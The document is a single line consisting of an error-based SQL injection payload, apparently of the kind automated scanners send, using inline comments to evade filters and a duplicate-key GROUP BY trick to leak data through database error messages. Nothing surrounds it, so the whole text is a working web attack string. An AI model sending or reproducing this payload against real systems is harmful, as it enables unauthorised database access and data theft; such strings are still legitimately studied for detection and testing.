1′,(SELECT/**/8747/**/FROM/**/(SELECT/**/ROW(8747,9501)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(8747=8747,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7560/**/UNION/**/SELECT/**/9532/**/UNION/**/SELECT/**/4441/**/UNION/**/SELECT/**/9586)a/**/GROUP/**/BY/**/x))s)– – 1